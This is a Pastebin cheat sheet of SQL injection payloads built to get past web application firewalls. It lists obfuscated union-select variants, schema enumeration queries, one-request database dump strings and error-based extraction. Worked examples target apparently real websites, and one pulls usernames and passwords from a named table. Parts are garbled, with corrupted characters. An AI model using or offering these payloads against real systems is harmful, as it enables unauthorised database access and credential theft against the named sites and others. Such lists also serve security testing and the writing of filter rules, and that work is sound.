API tools faq
paste
zurael_sTz

Best Bypass WAF sql injection

zurael_sTz
Jul 11th, 2016
2,882
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.34 KB | None | 0 0
raw download clone embed print report
  1. zuraelstz
  2.  
  3. https://twitter.com/zurael_stz
  4.  
  5. Best WAF Bypass 1 :
  6.  
  7. ------------------------------Best Bypass WAF------------------------------------
  8.  
  9. [~] order by [~]
  10. /**/ORDER/**/BY/**/
  11. /*!order*/+/*!by*/
  12. /*!ORDER BY*/
  13. /*!50000ORDER BY*/
  14. /*!50000ORDER*//**//*!50000BY*/
  15. /*!12345ORDER*/+/*!BY*/
  16.  
  17. [~] UNION select [~]
  18. /*!00000Union*/ /*!00000Select*/
  19. /*!50000%55nIoN*/ /*!50000%53eLeCt*/
  20. %55nion %53elect
  21. %55nion(%53elect 1,2,3)-- -
  22. +union+distinct+select+
  23. +union+distinctROW+select+
  24. UNION(/***/SELECT(1))
  25. /**//*!12345UNION SELECT*//**/
  26. /**//*!50000UNION SELECT*//**/
  27. /**/UNION/**//*!50000SELECT*//**/
  28. /*!50000UniON SeLeCt*/
  29. union /*!50000%53elect*/
  30. + #?uNiOn + #?sEleCt
  31. + #?1q %0AuNiOn all#qa%0A#%0AsEleCt
  32. /*!%55NiOn*/ /*!%53eLEct*/
  33. /*!u%6eion*/ /*!se%6cect*/
  34. +un/**/ion+se/**/lect
  35. uni%0bon+se%0blect
  36. %2f**%2funion%2f**%2fselect
  37. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  38. REVERSE(noinu)+REVERSE(tceles)
  39. /*--*/union/*--*/select/*--*/
  40. union (/*!/**/ SeleCT */ 1,2,3)
  41. /*!union*/+/*!select*/
  42. union+/*!select*/
  43. /**/union/**/select/**/
  44. /**/uNIon/**/sEleCt/**/
  45. +%2F**/+Union/*!select*/
  46. /**//*!union*//**//*!select*//**/
  47. /*!uNIOn*/ /*!SelECt*/
  48. +union+distinct+select+
  49. +union+distinctROW+select+
  50. uNiOn aLl sElEcT
  51. UNIunionON+SELselectECT
  52. /**/union/*!50000select*//**/
  53. 0%a0union%a0select%09
  54. %0Aunion%0Aselect%0A
  55. %55nion/**/%53elect
  56. uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  57. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  58. %0A%09UNION%0CSELECT%10NULL%
  59. /*!union*//*--*//*!all*//*--*//*!select*/
  60. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  61. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  62. +UnIoN/*&a=*/SeLeCT/*&a=*/
  63. union+sel%0bect
  64. +uni*on+sel*ect+
  65. +#1q%0Aunion all#qa%0A#%0Aselect
  66. union(select (1),(2),(3),(4),(5))
  67. UNION(SELECT(column)FROM(table))
  68. %23xyz%0AUnIOn%23xyz%0ASeLecT+
  69. %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
  70. union(select(1),2,3)
  71. union (select 1111,2222,3333)
  72. uNioN (/*!/**/ SeleCT */ 11)
  73. union (select 1111,2222,3333)
  74. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  75. /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
  76. %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
  77. +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
  78. +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  79. /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
  80. +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
  81. /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
  82. /union\sselect/g
  83. /union\s+select/i
  84. /*!UnIoN*/SeLeCT
  85. +UnIoN/*&a=*/SeLeCT/*&a=*/
  86. +uni>on+sel>ect+
  87. +(UnIoN)+(SelECT)+
  88. +(UnI)(oN)+(SeL)(EcT)
  89. +’UnI”On’+'SeL”ECT’
  90. +uni on+sel ect+
  91. +/*!UnIoN*/+/*!SeLeCt*/+
  92. /*!u%6eion*/ /*!se%6cect*/
  93. uni%20union%20/*!select*/%20
  94. union%23aa%0Aselect
  95. /**/union/*!50000select*/
  96. /^.*union.*$/ /^.*select.*$/
  97. /*union*/union/*select*/select+
  98. /*uni X on*/union/*sel X ect*/
  99. +un/**/ion+sel/**/ect+
  100. +UnIOn%0d%0aSeleCt%0d%0a
  101. UNION/*&test=1*/SELECT/*&pwn=2*/
  102. un?<ion sel="">+un/**/ion+se/**/lect+
  103. +UNunionION+SEselectLECT+
  104. +uni%0bon+se%0blect+
  105. %252f%252a*/union%252f%252a /select%252f%252a*/
  106. /%2A%2A/union/%2A%2A/select/%2A%2A/
  107. %2f**%2funion%2f**%2fselect%2f**%2f
  108. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  109. /*!UnIoN*/SeLecT+
  110.  
  111. [~] information_schema.tables [~]
  112. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
  113. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
  114. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
  115. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
  116. /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  117. /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
  118.  
  119. [~] concat() [~]
  120. CoNcAt()
  121. concat()
  122. CON%08CAT()
  123. CoNcAt()
  124. %0AcOnCat()
  125. /**//*!12345cOnCat*/
  126. /*!50000cOnCat*/(/*!*/)
  127. unhex(hex(concat(table_name)))
  128. unhex(hex(/*!12345concat*/(table_name)))
  129. unhex(hex(/*!50000concat*/(table_name)))
  130.  
  131. [~] group_concat() [~]
  132. /*!group_concat*/()
  133. gRoUp_cOnCAt()
  134. group_concat(/*!*/)
  135. group_concat(/*!12345table_name*/)
  136. group_concat(/*!50000table_name*/)
  137. /*!group_concat*/(/*!12345table_name*/)
  138. /*!group_concat*/(/*!50000table_name*/)
  139. /*!12345group_concat*/(/*!12345table_name*/)
  140. /*!50000group_concat*/(/*!50000table_name*/)
  141. /*!GrOuP_ConCaT*/()
  142. /*!12345GroUP_ConCat*/()
  143. /*!50000gRouP_cOnCaT*/()
  144. /*!50000Gr%6fuP_c%6fnCAT*/()
  145. unhex(hex(group_concat(table_name)))
  146. unhex(hex(/*!group_concat*/(/*!table_name*/)))
  147. unhex(hex(/*!12345group_concat*/(table_name)))
  148. unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
  149. unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
  150. unhex(hex(/*!50000group_concat*/(table_name)))
  151. unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
  152. unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
  153. convert(group_concat(table_name)+using+ascii)
  154. convert(group_concat(/*!table_name*/)+using+ascii)
  155. convert(group_concat(/*!12345table_name*/)+using+ascii)
  156. convert(group_concat(/*!50000table_name*/)+using+ascii)
  157. CONVERT(group_concat(table_name)+USING+latin1)
  158. CONVERT(group_concat(table_name)+USING+latin2)
  159. CONVERT(group_concat(table_name)+USING+latin3)
  160. CONVERT(group_concat(table_name)+USING+latin4)
  161. CONVERT(group_concat(table_name)+USING+latin5)
  162.  
  163. [~] after id no. like id=1 +/*!and*/+1=0 [~]
  164. +div+0
  165. Having+1=0
  166. +AND+1=0
  167. +/*!and*/+1=0
  168. and(1)=(0)
  169. when the --+- or -- dosen't work use ;%00
  170.  
  171.  
  172.  
  173. bypass error 505
  174. sometimes when union select ,sites become 505 or time out....
  175. bypass-
  176. -use brackets
  177. union(select+1)
  178. -use %0b or /**/ as space
  179. union%0bselect
  180.  
  181.  
  182.  
  183. Best WAF Bypass 2 :
  184.  
  185.  
  186.  
  187. .
  188.  
  189. SQLI Injction WAF Bypass Methods With Details
  190.  
  191. --'- : +--+ / : -- - : --+- : /*
  192.  
  193. ) order by 1-- -
  194.  
  195. ') order by 1-- -
  196.  
  197.  
  198. ')order by 1%23%23
  199.  
  200.  
  201. %')order by 1%23%23
  202.  
  203.  
  204. Null' order by 100--+
  205.  
  206.  
  207. Null' order by 9999--+
  208.  
  209.  
  210. ')group by 99-- -
  211.  
  212.  
  213. 'group by 119449-- -
  214.  
  215.  
  216. 'group/**/by/**/99%23%23
  217.  
  218.  
  219. union select ByPassing method
  220.  
  221.  
  222. +union+distinct+select+
  223.  
  224.  
  225. +union+distinctROW+select+
  226.  
  227.  
  228. /**//*!12345UNION SELECT*//**/
  229.  
  230.  
  231. /**//*!50000UNION SELECT*//**/
  232.  
  233.  
  234. +/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  235.  
  236.  
  237. +/*!u%6eion*/+/*!se%6cect*/+
  238.  
  239.  
  240. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  241.  
  242.  
  243. 1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23
  244.  
  245.  
  246. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  247.  
  248.  
  249. union /*!50000%53elect*/
  250.  
  251.  
  252. %55nion %53elect
  253.  
  254.  
  255. +--+Union+--+Select+--+
  256.  
  257.  
  258. +UnIoN/*&a=*/SeLeCT/*&a=*/
  259.  
  260.  
  261. id=1+ UnI On +'SeL ECT
  262.  
  263.  
  264. id=1+'UnI'||'on'+SeLeCT'
  265.  
  266.  
  267. UnIoN SeLeCt CoNcAt(version())--
  268.  
  269.  
  270. uNiOn aLl sElEcT
  271.  
  272.  
  273. uUNIONnion all sSELECTelect
  274.  
  275.  
  276. ===================================================================================================================================
  277.  
  278. :: Buffer Overflow ::
  279.  
  280. ===================================================================================================================================
  281.  
  282. +And(select 1)=(select 0?414)+union+select+1
  283.  
  284.  
  285. +And(select 1)=(select 0xAAAA)+union+select+1
  286.  
  287.  
  288. +And(select 1)=(select 0?4141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141)+
  289.  
  290.  
  291. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  292.  
  293.  
  294. ==================================================================================================================================
  295.  
  296. :: 400 Bad Request ::
  297.  
  298. ==================================================================================================================================
  299.  
  300. +%0A
  301.  
  302.  
  303. union+select+1 +%0A,2 +%0A,3 +%0A,4 +%0A,5 +%0A
  304.  
  305.  
  306. ==================================================================================================================================
  307.  
  308. null the parameter
  309.  
  310. ==================================================================================================================================
  311.  
  312. id=-1
  313.  
  314.  
  315. id=null
  316.  
  317.  
  318. id=1+and+false+
  319.  
  320.  
  321. id=9999
  322.  
  323.  
  324. id=1 and 0
  325.  
  326.  
  327. id==1
  328.  
  329.  
  330. id=(-1)
  331.  
  332.  
  333. =======================================================================================================================================
  334.  
  335. Group_Concat
  336.  
  337. =======================================================================================================================================
  338.  
  339. Group_Concat
  340.  
  341.  
  342. group_concat()
  343.  
  344.  
  345. /*!group_concat*/()
  346.  
  347.  
  348. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  349.  
  350.  
  351. group_concat(,0x3c62723e)
  352.  
  353.  
  354. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29
  355.  
  356.  
  357. CoNcAt()
  358.  
  359.  
  360. CONCAT(DISTINCT Version())
  361.  
  362.  
  363. concat(,0x3a,)
  364.  
  365.  
  366. concat%00()
  367.  
  368.  
  369. %00CoNcAt()
  370.  
  371.  
  372. /*!50000cOnCat*/(/*!Version()*/)
  373.  
  374.  
  375. /*!50000cOnCat*/
  376.  
  377.  
  378. /**//*!12345cOnCat*/(,0x3a,)
  379.  
  380.  
  381. concat_ws()
  382.  
  383.  
  384. concat(0x3a,,0x3c62723e)
  385.  
  386.  
  387. /*!concat_ws(0x3a,)*/
  388.  
  389.  
  390. concat_ws(0x3a3a3a,version()
  391.  
  392.  
  393. CONCAT_WS(CHAR(32,58,32),version(),)
  394.  
  395.  
  396. REVERSE(tacnoc)
  397.  
  398.  
  399. binary(version())
  400.  
  401.  
  402. uncompress(compress(version()))
  403.  
  404.  
  405. aes_decrypt(aes_encrypt(version(),1),1)
  406.  
  407.  
  408. ====================================================================================================================================
  409.  
  410. To appear column numbr in page put after id
  411.  
  412. ====================================================================================================================================
  413.  
  414. id=1+and+1=0+union+select+1,2,3,4,5,6
  415.  
  416.  
  417. +AND+1=0
  418.  
  419.  
  420. /*!aND*/ 1 like 0
  421.  
  422.  
  423. +/*!and*/+1=0
  424.  
  425.  
  426. +and+2>3+
  427.  
  428.  
  429. +and(1)=(0)
  430.  
  431.  
  432. and (1)!=(0)
  433.  
  434.  
  435. +div+0
  436.  
  437.  
  438. Having+1=0
  439.  
  440.  
  441. ===================================================================================================================================
  442.  
  443. function ByPassing
  444.  
  445. ===================================================================================================================================
  446.  
  447. unhex(hex(value))
  448.  
  449.  
  450. cast(value as char)
  451.  
  452.  
  453. uncompress(compress(version()))
  454.  
  455.  
  456. cast(version() as char)
  457.  
  458.  
  459. aes_decrypt(aes_encrypt(version(),1),1)
  460.  
  461.  
  462. binary(version())
  463.  
  464.  
  465. convert(value using ascii)
  466.  
  467.  
  468. ===================================================================================================================================
  469.  
  470. avoid source page injection
  471.  
  472. ===================================================================================================================================
  473.  
  474. concat(? >,
  475.  
  476.  
  477.  
  478. ,@@version,?
  479.  
  480.  
  481. >
  482.  
  483. ?
  484.  
  485.  
  486. injection
  487.  
  488.  
  489. concat(0x223e,@@version)
  490.  
  491.  
  492. concat(0x273e27,version(),0x3c212d2d)
  493.  
  494.  
  495. concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
  496.  
  497.  
  498. concat(0x223e,@@version,0x3c696d67207372633d22)
  499.  
  500.  
  501. concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
  502.  
  503.  
  504. concat(0x223e3c62723e,@@version,0x3a, BlackRose ,0x3c696d67207372633d22)
  505.  
  506.  
  507. concat( ,@@version, )
  508.  
  509.  
  510. concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)
  511.  
  512.  
  513. concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)
  514.  
  515.  
  516. ===================================================================================================================================
  517.  
  518. get version DB_NAME user HOST_NAME datadir
  519.  
  520. ===================================================================================================================================
  521.  
  522. version()
  523.  
  524.  
  525. convert(version() using latin1)
  526.  
  527.  
  528. unhex(hex(version()))
  529.  
  530.  
  531. @@GLOBAL.VERSION
  532.  
  533.  
  534. (substr(@@version,1,1)=5) :: 1 true 0 fals
  535.  
  536.  
  537. # like #
  538.  
  539.  
  540. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5
  541.  
  542.  
  543. ==================================================================================================================================
  544.  
  545. +and substring(version(),1,1)=4
  546.  
  547.  
  548. +and substring(version(),1,1)=5
  549.  
  550.  
  551. +and substring(version(),1,1)=9
  552.  
  553.  
  554. +and substring(version(),1,1)=10
  555.  
  556.  
  557. id=1 /*!50094aaaa*/ error
  558.  
  559.  
  560. id=1 /*!50095aaaa*/ no error
  561.  
  562.  
  563. id=1 /*!50096aaaa*/ error
  564.  
  565.  
  566. # like # http://www.marinaplast.com/page.php?id=13 /*!50095aaaa*/
  567.  
  568.  
  569. id=1 /*!40123 1=1*/ +- no error
  570.  
  571.  
  572. id=1 /*!40122rrrr*/ no error
  573.  
  574.  
  575. # like # http://www.marinaplast.com/page.php?id=13 /*!40122rrrr*/ error not v4
  576.  
  577. =================================================================================================================================
  578.  
  579. DB_NAME()
  580.  
  581. =================================================================================================================================
  582.  
  583. @@database
  584.  
  585. database()
  586.  
  587. id=vv()
  588.  
  589. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,DB_NAME(),4,5
  590.  
  591. http://www.marinaplast.com/page.php?id=vv()
  592.  
  593. @@user
  594.  
  595. user()
  596.  
  597. user_name()
  598.  
  599. system_user()
  600.  
  601. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5
  602.  
  603.  
  604. HOST_NAME()
  605.  
  606. @@hostname
  607.  
  608. @@servername
  609.  
  610. SERVERPROPERTY()
  611.  
  612.  
  613. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,HOST_NAME(),4,5
  614.  
  615. @@datadir
  616.  
  617. datadir()
  618.  
  619. # like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,datadir(),4,5
  620.  
  621. ASPX
  622.  
  623. and 1=0/@@version
  624.  
  625. and 1=0/@@version;
  626.  
  627. ) and 1=@@version
  628.  
  629. and 1=0/user;
  630.  
  631.  
  632. Requested method
  633.  
  634. [DUMP DB in 1 Request]
  635.  
  636.  
  637. (select (@) from (select(@:=0?00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a, [ ',table_schema,' ] > ,table_name, > ,column_name))))x)
  638.  
  639.  
  640. (select(@) from (select (@:=0?00),(select (@) from (table) where (@) in (@:=concat(@,0x0a,column1,0x3a,column2))))a)
  641.  
  642. ===================================================================================================================================
  643.  
  644. [DUMP DB in 1 Request improve]
  645.  
  646. ===================================================================================================================================
  647.  
  648.  
  649. (select(@x)from(select(@x:=0?00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0?00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)
  650.  
  651.  
  652. like
  653.  
  654. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select(@x)from(select(@x:=0?00),(select(0)from(information_schema.colu mns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0?00)in(@x:=c oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5
  655.  
  656. ===================================================================================================================================
  657.  
  658. #2#
  659.  
  660. ===================================================================================================================================
  661.  
  662. method like DUMP DB in 1 Request
  663.  
  664. ===================================================================================================================================
  665.  
  666. concat(@i:=0?00,@o:=0xd0a,benchmark(40,@o:=CONCAT( @o,0xd0a,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1)))
  667.  
  668. like
  669.  
  670. http://www.mishnetorah.com/shop/details.php?id=-26+union+select+1,2,3,concat(@i:=0?00,@o:=0xd0a,benchmark(40,@o:=CONCAT(@o,0xd0a ,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1))),@o),5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21
  671.  
  672. ===================================================================================================================================
  673.  
  674. #3#
  675.  
  676. ===================================================================================================================================
  677.  
  678. databases
  679.  
  680.  
  681. (select+count(schema_name) +from+information_schema.schemata)
  682.  
  683.  
  684. # like #
  685.  
  686. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(schema_name) +from+information_schema.schemata),4,5
  687.  
  688.  
  689. tables
  690.  
  691. (select+count(table_name) +from+information_schema.tables)
  692.  
  693. # like #
  694.  
  695. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(table_name) +from+information_schema.tables),4,5
  696.  
  697.  
  698. columns
  699.  
  700. (select+count(column_name) +from+information_schema.columns)
  701.  
  702. # like #
  703.  
  704. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(column_name) +from+information_schema.columns),4,5
  705.  
  706. ===================================================================================================================================
  707.  
  708. #4#
  709.  
  710. ===================================================================================================================================
  711.  
  712. show the table with all her columns
  713.  
  714.  
  715. CONCAT(table_name,0x3e,GROUP_CONCAT(column_name))
  716.  
  717.  
  718. +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1 +
  719.  
  720.  
  721. like
  722.  
  723. http://www.marinaplast.com/page.php?id=-13 union select 1,2,CONCAT(table_name,0x3e,GROUP_CONCAT(column_name)),4,5 +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 0,1 +
  724.  
  725. ===================================================================================================================================
  726.  
  727. #5#WWWWWWWWWWWAAAAAAAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
  728.  
  729. ===================================================================================================================================
  730.  
  731. feltered requested
  732.  
  733.  
  734. # tables #
  735.  
  736. group_concat(/*!table_name*/)
  737.  
  738.  
  739. +/*!froM*/ /*!InfORmaTion_scHema*/.tAblES -
  740.  
  741.  
  742. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA() -
  743.  
  744.  
  745. /*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA() -
  746.  
  747. ===================================================================================================================================
  748.  
  749. # columns #
  750.  
  751. ===================================================================================================================================
  752.  
  753. group_concat(/*!column_name*/)
  754.  
  755.  
  756. +/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table
  757.  
  758.  
  759. /*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  760.  
  761.  
  762. /*!froM*/ table -
  763.  
  764. ===================================================================================================================================
  765.  
  766. #6#
  767.  
  768. ===================================================================================================================================
  769.  
  770. bypass method
  771.  
  772.  
  773. (select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA())
  774.  
  775.  
  776. (select+group_concat(/*!column_name*/)+/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table)
  777.  
  778.  
  779. like
  780.  
  781. http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()),4,5
  782.  
  783. ===================================================================================================================================
  784.  
  785. #7#
  786.  
  787. ===================================================================================================================================
  788.  
  789. bypass method
  790.  
  791.  
  792. unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
  793.  
  794.  
  795. /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
  796.  
  797.  
  798. like
  799.  
  800. http://www.marinaplast.com/page.php?id=-13 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
  801.  
  802.  
  803. ===================================================================================================================================
  804.  
  805. [+] Union Select:
  806.  
  807. ===================================================================================================================================
  808.  
  809. union /*!select*/+
  810.  
  811. union/**/select/**/
  812.  
  813. /**/union/**/select/**/
  814.  
  815. /**/union/*!50000select*/
  816.  
  817. /**//*!12345UNION SELECT*//**/
  818.  
  819. /**//*!50000UNION SELECT*//**/
  820.  
  821. /**/uniUNIONon/**/selSELECTect/**/
  822.  
  823. /**/uniUNIONon/**/aALLll/**/selSELECTect/**/
  824.  
  825. /**//*!union*//**//*!select*//**/
  826.  
  827. /**/UNunionION/**/SELselectECT/**/
  828.  
  829. /**//*UnIOn*//**//*SEleCt*//**/
  830.  
  831. /**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  832.  
  833. /**/UNunionION/**/all/**/SELselectECT/**/
  834.  
  835. /**//*UnIOn*//**/all/**//*SEleCt*//**/
  836.  
  837. /**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
  838.  
  839. uni
  840.  
  841. %20union%20/*!select*/%20
  842.  
  843. union%23aa%0Aselect
  844.  
  845. union+distinct+select+
  846.  
  847. union+distinctROW+select+
  848.  
  849. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  850.  
  851. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  852.  
  853. %23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
  854.  
  855. /*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
  856.  
  857. /*!u%6eion*/+/*!se%6cect*/+
  858.  
  859. 1% )and(0)union(select(1),version(),3,4,5,6)%23%23%23
  860.  
  861. /*!50000%55nIoN*/+/*!50000%53eLeCt*/
  862.  
  863. union /*!50000%53elect*/
  864.  
  865. +%2F**/+Union/*!select*/
  866.  
  867. %55nion %53elect
  868.  
  869. + +Union+ +Select+ +
  870.  
  871. +UnIoN/*&a=*/SeLeCT/*&a=*/
  872.  
  873. uNiOn aLl sElEcT
  874.  
  875. uUNIONnion all sSELECTelect
  876.  
  877. union(select(1),2,3)
  878.  
  879. union (select 1111,2222,3333)
  880.  
  881. union (/*!/**/ SeleCT */ 11)
  882.  
  883. %0A%09UNION%0CSELECT%10NULL%
  884.  
  885. /*!union*//* *//*!all*//* *//*!select*/
  886.  
  887. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  888.  
  889. union+sel%0bect
  890.  
  891. +uni*on+sel*ect+
  892.  
  893. +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
  894.  
  895. union(select (1),(2),(3),(4),(5))
  896.  
  897. UNION(SELECT(column)FROM(table))
  898.  
  899. id=1+ UnI On + SeL ECT
  900.  
  901. id=1+ UnI || on +SeLeCT
  902.  
  903. union select 1 +%0A,2 +%0A,3 +%0A etc & .
  904.  
  905. ===================================================================================================================================
  906.  
  907. [+] Buffer overflow:
  908.  
  909. ===================================================================================================================================
  910.  
  911. +And(select 1)=(select 0?414)+union+select+1
  912.  
  913. +And(select 1)=(select 0xAAAA)+union+select+1
  914.  
  915. +and (/*!select*/ 1)=(/*!select*/ 0xAA)+
  916.  
  917. +and (/*!select*/ 1)=(/*!select*/ 0?414)+
  918.  
  919. +And(select 1)=(select 0?4141414141414141414141414141414141414141414141414141414141414141414141414?1414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141414141414141414141414141414141414141414141414141414141414141414141414?141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 4141)+
  920.  
  921. ===================================================================================================================================
  922.  
  923. [+] Group Concat:
  924.  
  925. ===================================================================================================================================
  926.  
  927. Group_Concat
  928.  
  929. group_concat()
  930.  
  931. /*!group_concat*/()
  932.  
  933. grOUp_ConCat(/*!*/,0x3e,/*!*/)
  934.  
  935. group_concat(,0x3c62723e)
  936.  
  937. g%72oup_c%6Fncat%28%76%65rsion%28%29,%22testtest%22%29
  938.  
  939. CoNcAt()
  940.  
  941. CONCAT(DISTINCT Version())
  942.  
  943. concat(,0x3a,)
  944.  
  945. concat%00()
  946.  
  947. %00CoNcAt()
  948.  
  949. /*!50000cOnCat*/(/*!Version()*/)
  950.  
  951. /*!50000cOnCat*/
  952.  
  953. /**//*!12345cOnCat*/(,0x3a,)
  954.  
  955. concat_ws()
  956.  
  957. concat(0x3a,,0x3c62723e)
  958.  
  959. /*!concat_ws(0x3a,)*/
  960.  
  961. concat_ws(0x3a3a3a,version()
  962.  
  963. CONCAT_WS(CHAR(32,58,32),version(),)
  964.  
  965. ===================================================================================================================================
  966.  
  967. ERORE BASED
  968.  
  969. ===================================================================================================================================
  970.  
  971. =21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1
  972.  
  973.  
  974. Database
  975.  
  976.  
  977. 21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  978.  
  979.  
  980. Table_name
  981.  
  982.  
  983. and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  984.  
  985.  
  986. Columns
  987.  
  988.  
  989. 21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  990.  
  991.  
  992. extract date
  993.  
  994.  
  995. http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  996.  
  997.  
  998. Notice the limit function in the query
  999.  
  1000. A website can have more than 2 two databases, so increase the limit until you find all database names
  1001.  
  1002. Example: limit 0,1 or limit 1,1 or limit 2,1
  1003.  
  1004. ===================================================================================================================================
  1005.  
